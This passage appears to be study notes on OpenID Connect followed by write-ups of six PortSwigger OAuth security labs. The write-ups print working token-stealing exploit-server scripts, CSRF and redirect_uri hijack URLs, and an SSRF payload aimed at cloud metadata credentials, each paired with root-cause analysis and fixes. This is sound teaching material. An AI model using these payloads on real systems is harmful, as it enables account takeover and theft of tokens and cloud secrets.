Including `openid` in the scope is what tells the authorization server: *"this is an OIDC request, please issue an `id_token` too, not just an access token."* Without it, you're just doing plain OAuth.

### 4. A standardized `/userinfo` endpoint

OIDC also formalizes what plain OAuth left ambiguous - a consistent endpoint and response shape for fetching profile claims using the access token, so different providers behave predictably.

### 5. Discovery document

OIDC providers publish a well-known metadata endpoint:

```
GET /.well-known/openid-configuration
```

This returns the provider's endpoints (`authorization_endpoint`, `token_endpoint`, `jwks_uri`, etc.) and supported capabilities - so clients can auto-configure themselves instead of hardcoding everything.

## Why the `id_token` Matters (and why it's more "correct" than what you saw in the labs)

Recall Lab 1: the client trusted `email`/`username` sent raw from the browser, alongside a token - with zero binding between them. That was the core flaw.

**OIDC's `id_token` structurally prevents that exact mistake** - *if implemented correctly* - because:

1. The `id_token` is **signed** by the authorization server (using its private key)
2. The client verifies that signature using the authorization server's **public key** (fetched from `jwks_uri`)
3. If the signature is valid, the client can trust the claims **inside** the token completely - because only the authorization server could have produced a validly-signed token
4. Identity is no longer "asserted by the browser" - it's **cryptographically proven by the issuer**

This is the theoretically correct way to solve the exact problem you exploited in Lab 1.

## But - New Attack Surface

Because OIDC introduces JWTs, signature verification, and new claims (`nonce`, `aud`, `iss`), it also introduces **new ways implementations can screw it up**:

* Not verifying the signature at all
* Accepting `alg: none`
* Not checking `aud` (a token meant for App A gets accepted by App B)
* Not checking `nonce` (replay attacks)
* Algorithm confusion attacks (RS256 → HS256 swap)

This is almost certainly where the next set of PortSwigger labs will head - same underlying story (trust boundary violations), new mechanism (JWTs) to break.

## Quick Comparison

| x                     | OAuth 2.0                  | OpenID Connect                            |
| --------------------- | -------------------------- | ----------------------------------------- |
| Purpose               | Authorization              | Authentication                            |
| Core token            | `access_token` (opaque)    | `id_token` (JWT, signed)                  |
| Answers               | "Can this app do X?"       | "Who is this user?"                       |
| Verifiable by client? | No (opaque, must call API) | Yes (signature check, no API call needed) |
| Scope trigger         | N/A                        | `openid`                                  |

## One-Line Mental Model

> OAuth hands out a **key card** (access token) that opens doors. OIDC additionally hands out a **signed ID badge** (`id_token`) that cryptographically proves who you are - instead of the door attendant just asking "so, who are you?" and taking your word for it.


# OAuth Attacks (Labs: Portswigger Academy)


# Lab 1  Authentication bypass via OAuth implicit flow

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users' accounts without knowing their password.

To solve the lab, log in to Carlos's account. His email address is `carlos@carlos-montoya.net`.

You can log in with your own social media account using the following credentials: `wiener:peter`.

***

**Step 1 - Client initiates the OAuth flow**

![](/files/dBGS0GTAulZJm04gxCjl)

```
GET /auth?client_id=fk4n48ieuqntla805ydc4
    &redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback
    &response_type=token
    &nonce=637928109
    &scope=openid%20profile%20email
```

**What's happening:** The blog app (the *Client*) redirects your browser to the OAuth server (the *Authorization Server*), asking it to authenticate you and hand back an **access token** directly (`response_type=token` = implicit flow, no code exchange step).

* `client_id` - identifies the blog app to the OAuth server
* `redirect_uri` - where to send you back afterward
* `scope=openid profile email` - the blog is asking for your identity info
* `nonce` - meant to bind the token to this specific request (replay protection)

**Response:** Redirect to `/interaction/YY3GyzvSTLSepasg0vSyi` - the OAuth server's own login/consent flow, tracked by that interaction ID.

***

**Step 2 - User logs into the OAuth provider**

![](/files/ys90GgM3ZrOwpW2yGwyK)

```
POST /interaction/YY3GyzvSTLSepasg0vSyi/login
```

**What's happening:** Since you're not logged into the OAuth provider yet, it shows a login form. You submit credentials (`wiener:peter`) here - **this is you authenticating to the OAuth server itself**, not the blog.

**Response:** 302 redirect back into the interaction flow, confirming login succeeded.

***

**Step 3 - Consent confirmation**

![](/files/D91YFp0jtRNG4lY7vOY6)

```
POST /interaction/YY3GyzvSTLSepasg0vSyi/confirm
(empty body)
```

**What's happening:** This is the "Allow this app to access your profile/email?" consent step. Empty body just means "yes, confirmed" (the interaction ID already carries the context).

**Response:** 302 redirect to `/auth/YY3GyzvSTLSepasg0vSyi` - now the OAuth server proceeds to actually issue the token.

***

**Step 4 - Token issuance**

![](/files/E65YlgiOgzIo11aWrO4P)

```
GET /auth/YY3GyzvSTLSepasg0vSyi
```

**Response:**

```
Redirecting to https://YOUR-LAB-ID.web-security-academy.net/oauth-callback
    #access_token=__kP_HG-gghob1RfxB5orOaMEeUfali1OT1Uk2xS1uY
    &expires_in=3600
    &token_type=Bearer
    &scope=openid%20profile%20email
```

**What's happening:** The OAuth server has authenticated you (`wiener`) and generated a **valid access token proving that fact**. Because this is the implicit flow, the token is sent straight back in the **URL fragment** (`#...`), not a query string - fragments aren't sent to servers by browsers, so this is a deliberate design to keep the token from leaking to the redirect\_uri's server logs directly. It lands in your browser only.

**Key point:** This token is legitimate and does correctly represent "wiener successfully logged in." Nothing wrong yet.

***

**Step 5 - Client-side JS reads the fragment and calls the backend**

![](/files/2fSyDY05P2BU8kn0neTs)

```
POST /authenticate
{"email":"wiener@hotdog.com","username":"wiener","token":"__kP_HG-gghob..."}
```

**What's happening:** JavaScript on the `/oauth-callback` page extracts the `access_token` from the URL fragment. It **also independently knows/fetches your email and username** (likely from calling `/userinfo` client-side, or it was embedded somewhere), and packages all three into a POST to the blog's own backend to actually establish your logged-in session.

**This is where the flaw lives.** The backend receives three pieces of data:

* `token` - proof an OAuth login happened
* `email`, `username` - **claims about who that login was for**

The backend has two choices here: verify the token server-side to independently learn who it belongs to, or trust the `email`/`username` fields as given. **This lab's backend does the latter.**

***

**Step 6 - The exploit**

You intercept this last request and change it to:

![](/files/gSa9DWu5ku6uE6hiU2YN)

```json
{"email":"carlos@carlos-montoya.net","username":"carlos","token":"__kP_HG-gghob..."}
```

**What's happening:** You still hold a 100% valid, real token - but it was issued for `wiener`. You're now claiming it belongs to `carlos` instead. Since the backend never calls back to the OAuth server to check "who does this token actually belong to?", it has no way to catch the mismatch. It just trusts the JSON and issues you a session as `carlos`.

**Response:** A valid session token - you're now logged in as carlos, having never touched their password or a token issued for them.

***

#### Why This Is Possible - Root Cause

The **access token and the identity claim are logically separate** in this exchange, but the backend treats them as if the client vouching for both together is sufficient. Correct design requires the **server itself** to resolve identity *from* the token - not accept identity as a sibling parameter.

```
Token → (should go here) → Server calls /userinfo with token → gets real identity
Token → (what actually happens) → Client says "trust me, it's this identity" → Server believes it
```

#### The Fix

`/authenticate` should accept **only** the token:

json

```json
{"token":"__kP_HG-gghob..."}
```

Then server-side:

```
GET /userinfo
Authorization: Bearer __kP_HG-gghob...
```

→ get the real `email`/`username` back from the OAuth server directly, and use *that* to create the session. There's then nothing left for an attacker to tamper with - the identity isn't attacker-supplied data at any point.


# Lab 2 Forced OAuth profile linking

This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users' accounts.

To solve the lab, use a CSRF attack to attach your own social media profile to the admin user's account on the blog website, then access the admin panel and delete `carlos`.

The admin user will open anything you send from the exploit server and they always have an active session on the blog website.

You can log in to your own accounts using the following credentials:

* Blog website account: `wiener:peter`
* Social media profile: `peter.wiener:hotdog`

***

## Feature Being Attacked

The blog app lets a logged-in user "attach" a social media profile to their existing account, so they can log in via OAuth instead of a password. This uses a normal OAuth flow - `/auth` → login/consent → redirect with `code` → `/oauth-linking?code=...` on the blog's backend, which **links** that social profile to whichever account is currently logged in.

## Key Problem

The **linking request has no `state` parameter** (or any other CSRF protection):

```
GET /auth?client_id=...&redirect_uri=.../oauth-linking&response_type=code&...
```

Because `/oauth-linking?code=...` is just a plain `GET` request with no CSRF token tying it to the user who originally started the flow, it becomes a **CSRF-able endpoint**. The `code` itself is normally single-use and tied to *the attacker's own* social account - but the server has no way of confirming *who* the browser making the `/oauth-linking` request actually is, beyond whatever session cookie is attached at request time.

## The Exploit Logic

1. Attacker starts the "attach social profile" flow using **their own** social media account
2. Attacker intercepts (but doesn't let complete) the callback: `GET /oauth-linking?code=ATTACKER_CODE`
3. Attacker hosts this URL in a hidden `<iframe>` on the exploit server
4. Victim (already logged into the blog as admin) visits the page → browser loads the iframe → sends `GET /oauth-linking?code=ATTACKER_CODE` **using the victim's own session cookie**
5. Server links the **attacker's social profile** to the **victim's (admin's) account** - because it just uses whatever session cookie rides along, with zero verification that the person completing the OAuth flow is the same person who started it

## Root Cause

> Classic **CSRF**, just wrapped around an OAuth linking flow. `state` exists specifically to bind the authorization request and its callback to *the same user session* - without it, the callback can be triggered by (or on behalf of) any victim via a forged request, since the server can't distinguish "I initiated this" from "someone else initiated this and I just clicked a link/loaded an iframe."

## The Fix

* Generate a random, unguessable `state` value when the "attach social profile" flow starts
* Store it tied to the current user's session
* Require the `/oauth-linking` callback to include the **same `state`** value and validate it matches before performing the link
* This ensures the account being linked belongs to the session that *initiated* the request - not whichever session happens to be active when the callback fires

## One-Line Takeaway

> Any OAuth redirect/callback endpoint that changes account state (login, linking, permission grants) **must** use `state` to bind the request to the originating session - otherwise it's just a CSRF attack wearing OAuth clothing.


# Lab 3 OAuth account hijacking via redirect\_uri

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users' accounts.

To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user `carlos`.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in with your own social media account using the following credentials: `wiener:peter`.

***

## Feature Being Attacked

Standard OAuth login ("log in with social media") using the **authorization code** flow. Since the victim already has an active session with the OAuth provider, the flow completes silently - no re-login needed, just redirect → code → callback.

## Key Problem

**The OAuth server does not validate `redirect_uri` strictly.** It accepts *any* arbitrary value for `redirect_uri` in the initial authorization request:

```
GET /auth?client_id=...&redirect_uri=ANYTHING&response_type=code&scope=...
```

Since the OAuth server doesn't check this against a pre-registered allowlist (or only does a weak/no check), the attacker can redirect the flow's output - the **authorization code** - to a domain **they control** instead of the legitimate client app.

## The Exploit Logic

1. Attacker crafts a malicious authorization URL with `redirect_uri` pointing to their **exploit server**:

```
   https://oauth-server.net/auth?client_id=...&redirect_uri=https://exploit-server.net&response_type=code&scope=openid%20profile%20email
```

2. Embeds this in a hidden `<iframe>` on the exploit server
3. Victim (who has an **active OAuth session**) visits the page → iframe silently loads → OAuth server sees an authenticated session → auto-completes the flow → redirects to the attacker's `redirect_uri` **with the victim's authorization code attached**
4. Code lands in the **attacker's exploit server access logs**
5. Attacker takes that stolen `code` and manually visits the real client's callback:

```
   https://blog-website.net/oauth-callback?code=STOLEN-CODE
```

6. Client exchanges the code for a token as normal → logs the attacker in **as the victim**

## Root Cause

> The OAuth server trusts a client-supplied `redirect_uri` without validating it against the value registered for that `client_id`. Since the authorization code is the "keys to the kingdom" (exchangeable for a token/session), letting it be redirected anywhere defeats the entire security model - the code silently leaks to any attacker-controlled destination via a simple redirect.

This differs from the CSRF-based linking lab: here the attacker doesn't need the victim to submit anything sensitive - the **victim's own already-authenticated session does all the work**, simply by loading an iframe.

## The Fix

* OAuth server must **strictly validate `redirect_uri`** against an **exact-match allowlist** registered per `client_id` at setup time
* No wildcards, no prefix matching, no "any subdomain of X" - exact string match only
* Reject the authorization request entirely if `redirect_uri` doesn't match what was registered

## One-Line Takeaway

> The `redirect_uri` is not just cosmetic - it's the destination for the most sensitive artifact in the flow (the authorization code). If the OAuth server doesn't pin it to an exact, pre-registered value, an attacker can redirect that code straight into their own hands using nothing but a silent iframe load.


# Lab 4 Stealing OAuth access tokens via an open redirect

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner.

Note `You cannot access the admin's API key by simply logging in to their account on the client application.`

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: `wiener:peter`.

***

## Feature Being Attacked

Standard OAuth login. This time, the OAuth server **does** whitelist `redirect_uri` - but only checks it loosely (prefix-based), not with exact-match validation.

## Key Vulnerabilities Chained Together

**1. Path traversal in `redirect_uri` validation**\
The whitelist check only verifies the `redirect_uri` *starts with* the registered value. Appending `/../` lets you escape the intended path while still passing the check:

```
redirect_uri=https://LAB-ID/oauth-callback/../post/next?path=...
```

This resolves to `/post/next?path=...` - a completely different endpoint on the same domain.

**2. Open redirect on `/post/next`**\
The blog's "Next post" feature redirects based on a `path` query parameter with **no validation** that it stays on-domain:

```
GET /post/next?path=https://attacker.com
```

→ redirects anywhere, including external domains.

**Combined**, these let you keep the OAuth server's domain whitelist happy (`redirect_uri` still starts with the trusted host) while ultimately sending the browser - and the fragment carrying the access token - to an attacker-controlled destination.

## Full Exploit Chain

```
GET /auth?client_id=...
    &redirect_uri=https://LAB-ID/oauth-callback/../post/next?path=https://EXPLOIT-ID.exploit-server.net/exploit
    &response_type=token&scope=openid%20profile%20email
```

1. OAuth server validates `redirect_uri` → passes (still starts with trusted host)
2. User authenticates (session already active, so this is silent) → OAuth server redirects to:\
   `.../post/next?path=https://exploit-server.net/exploit#access_token=...`
3. Blog server sees `?path=...` → issues its own open redirect (fragment isn't sent to server, but the browser **carries it forward** automatically on navigation)
4. Browser lands on `https://exploit-server.net/exploit#access_token=...`
5. Attacker's JS on that page reads `location.hash` and exfiltrates it

## The Exploit Server Payload

```html
<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-server.net/auth?client_id=CLIENT_ID&redirect_uri=https://LAB-ID/oauth-callback/../post/next?path=https://EXPLOIT-ID.exploit-server.net/exploit&response_type=token&nonce=NONCE&scope=openid%20profile%20email'
    } else {
        window.location = '/?' + document.location.hash.substr(1)
    }
</script>
```

* First load (no hash) → kicks off the full OAuth chain
* Second load (chain completes, lands back here with hash) → forwards token to exploit server's own `/` as a query param → visible in the **access log**

**Important:** Use `window.location` for top-level navigation, not an `<iframe>` - OAuth login pages often block framing (`X-Frame-Options`/CSP), which silently kills the flow.

## Root Cause

Two independent flaws, individually low-severity, combined into full account takeover:

1. **Weak `redirect_uri` validation** - prefix/substring match instead of exact match, defeatable via path traversal (`/../`)
2. **Open redirect** on an unrelated internal endpoint (`/post/next`), providing the actual off-domain hop

Neither flaw alone leaks the token to an attacker - it's the **chaining** that matters.

## The Fix

* **`redirect_uri` validation:** exact string match against the registered value - no prefix matching, no traversal sequences allowed, normalize/canonicalize the path before comparing
* **Fix the open redirect independently:** validate `path` against an allowlist of internal paths, or require it to be a relative path only (reject anything starting with `http://`/`https://` or `//`)
* Defense in depth: even a perfectly validated `redirect_uri` is only as safe as every other redirect-capable endpoint on that domain - an open redirect anywhere on the trusted host can be chained the same way

## One-Line Takeaway

> `redirect_uri` validation must be an **exact match**, not "starts with." And any **open redirect anywhere on the client's domain** becomes a way to defeat even a whitelisted `redirect_uri`, because the OAuth server only checks the domain - not where the client's own code ultimately sends the browser afterward.


# Lab 5 Stealing OAuth access tokens via a proxy page

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: `wiener:peter`.

***

### Lab: Stealing OAuth Access Tokens via a Proxy Page - Explanation

This lab is the concrete example of the **"dangerous JavaScript / gadget chain"** category we just discussed. No open redirect exists this time - instead, the exfiltration path is a **vulnerable `postMessage` handler** on the client site itself.

## The Two Ingredients

**1. Same old `redirect_uri` path traversal**\
Just like the previous lab - the OAuth server's whitelist check is prefix-based, so you can traverse to any page on the trusted domain:

```
redirect_uri=https://LAB-ID/oauth-callback/../post/comment/comment-form
```

**2. New piece: an insecure `postMessage()` on the comment form**\
Every blog post embeds a comment form via `<iframe>`. That iframe's page runs JS like:

```js
window.parent.postMessage({data: window.location.href}, "*")
```

It sends its **own URL** (including the fragment!) to its parent window - but critically, it uses `"*"` as the target origin, meaning **it will send this message to whatever page happens to be its parent**, regardless of that parent's actual origin.

## Why This Is Exploitable

Normally, this comment-form iframe is embedded inside a legitimate blog post page, and the message is meant for that trusted parent. But **nothing stops an attacker from making their own page the parent instead**:

html

```html
<iframe src="https://oauth-server.net/auth?...&redirect_uri=https://LAB-ID/oauth-callback/../post/comment/comment-form&response_type=token&..."></iframe>
```

Now:

1. The `iframe`'s `src` kicks off the OAuth flow
2. Path traversal makes the OAuth server redirect (with the access token in the fragment) to `.../post/comment/comment-form#access_token=...`
3. That comment-form page loads **inside the attacker's iframe**
4. Its own script reads `window.location.href` (fragment included) and does `postMessage(..., "*")`
5. Because the target origin is `"*"`, it doesn't check *who* the parent is - it happily sends the token straight to the **attacker's parent page**
6. Attacker's own JS, listening via `window.addEventListener('message', ...)`, receives it and exfiltrates it (e.g., via `fetch`)

## The Exploit

html

```html
<iframe src="https://oauth-server.net/auth?client_id=CLIENT_ID&redirect_uri=https://LAB-ID/oauth-callback/../post/comment/comment-form&response_type=token&nonce=NONCE&scope=openid%20profile%20email"></iframe>

<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>
```

* The `iframe` triggers the whole OAuth + traversal chain
* The listener catches whatever the comment form's vulnerable script broadcasts
* `fetch("/" + ...)` sends it to the exploit server's **own** log (same-origin, so no CORS/Referer issues) - check the access log for the leaked URL/token

## Root Cause

Two flaws, chained:

1. **`redirect_uri` prefix-matching** → lets attacker land the token on *any* page on the trusted domain, not just the real callback
2. **Insecure `postMessage(..., "*")`** → the comment form will broadcast its full URL (including sensitive fragment data) to **any parent**, without verifying the parent's origin first

Neither flaw alone is exploitable for token theft - the traversal gets the token onto a page, but that page needed some behavior that **leaks its own URL out to the attacker**. The careless `postMessage` was exactly that behavior. This is the "gadget chain" concept from before, made concrete: token → lands on comment form (via traversal) → comment form leaks its own location via bad `postMessage` → attacker's listener catches it.

## The Fix

* **`redirect_uri`**: exact-match validation (same fix as always)
* **`postMessage` target origin**: never use `"*"`. Always specify the exact expected parent origin:

```js
  window.parent.postMessage({data: window.location.href}, "https://trusted-blog-domain.com")
```

* **On the receiving end too**: any script that listens for `message` events should validate `event.origin` before trusting/using the data - this lab's comment form fails on the *sending* side, but receivers should always double-check too, defense in depth.

## One-Line Takeaway

> `postMessage` with a wildcard `"*"` target origin will broadcast sensitive data (URLs, tokens, fragments) to **any** parent window - including an attacker's. Combined with a `redirect_uri` traversal bug that lets you choose *which* page on the trusted domain receives the token, this becomes a full token-theft gadget chain even without any traditional open redirect.


# Lab 6 SSRF via OpenID dynamic client registration

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF.

To solve the lab, craft an SSRF attack to access `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/` and steal the secret access key for the OAuth provider's cloud environment.

You can log in to your own account using the following credentials: `wiener:peter`

***

## Feature Being Attacked

**Dynamic Client Registration** - an OIDC feature (`/reg` endpoint) that lets any client app self-register with the OAuth server (get a `client_id`) without manual approval, by submitting metadata like `redirect_uris`, `logo_uri`, etc.

## Key Problem

**Two flaws combined:**

1. **Unauthenticated registration** - anyone can `POST /reg` and create a new "client application" with arbitrary metadata, no auth required
2. **`logo_uri` is fetched server-side, with no validation** - when the consent/authorize page needs to display the client's logo, the OAuth server itself makes an HTTP request to whatever URL was registered as `logo_uri`, and returns that response to whoever hits `/client/CLIENT-ID/logo`

Combined: **the attacker fully controls a URL that the OAuth server's backend will fetch** → classic SSRF.

## The Exploit Chain

**Step 1 - Confirm the registration endpoint exists**

```
GET /.well-known/openid-configuration
```

→ reveals `/reg` as the registration endpoint (this is standard OIDC discovery).

**Step 2 - Register a client, prove SSRF works (using Collaborator)**

json

```json
POST /reg
{
    "redirect_uris": ["https://example.com"],
    "logo_uri": "https://YOUR-COLLABORATOR-URL"
}
```

Then trigger the fetch:

```
GET /client/CLIENT-ID/logo
```

→ OAuth server fetches `logo_uri` server-side → Collaborator receives the interaction → **confirms SSRF**.

**Step 3 - Weaponize it against cloud metadata**

json

```json
POST /reg
{
    "redirect_uris": ["https://example.com"],
    "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```

`169.254.169.254` is the **cloud instance metadata endpoint** (AWS-style) - only reachable from *inside* the server itself, never from the public internet. Since the OAuth server fetches `logo_uri` server-side, it can reach this internal-only address on the attacker's behalf.

**Step 4 - Retrieve the result**

```
GET /client/NEW-CLIENT-ID/logo
```

→ Response body = the metadata service's reply, containing the **cloud provider's secret access key** for the `admin` IAM role.

## Root Cause

> Any user-supplied URL that gets **fetched server-side** (logos, webhooks, avatars, "preview this link," etc.) is a potential SSRF vector - regardless of what feature it's attached to. Here, OIDC's dynamic client registration (a legitimate, spec-defined feature) introduced exactly this pattern via `logo_uri`, and the registration endpoint being open to anyone made it trivially reachable.

## The Fix

* **Restrict/authenticate dynamic client registration** - don't allow arbitrary unauthenticated self-registration in production; require approval or pre-shared secrets
* **Validate `logo_uri` (and any server-fetched URL) strictly:**
  * Allowlist schemes (`https://` only)
  * Block private/reserved IP ranges (`169.254.0.0/16`, `127.0.0.0/8`, `10.0.0.0/8`, etc.)
  * Resolve DNS and re-check the resolved IP before fetching (to prevent DNS rebinding bypasses)
  * Ideally, fetch and cache the logo **once at registration time** via a tightly sandboxed fetcher, not on-demand per request

## One-Line Takeaway

> OIDC's dynamic client registration expands the attack surface by adding new user-controlled metadata fields (like `logo_uri`) - any of which, if fetched server-side without validation, becomes a straightforward SSRF vector, especially dangerous when reachable to cloud metadata endpoints holding live credentials.




---

[Next Page](/llms-full.txt/1)

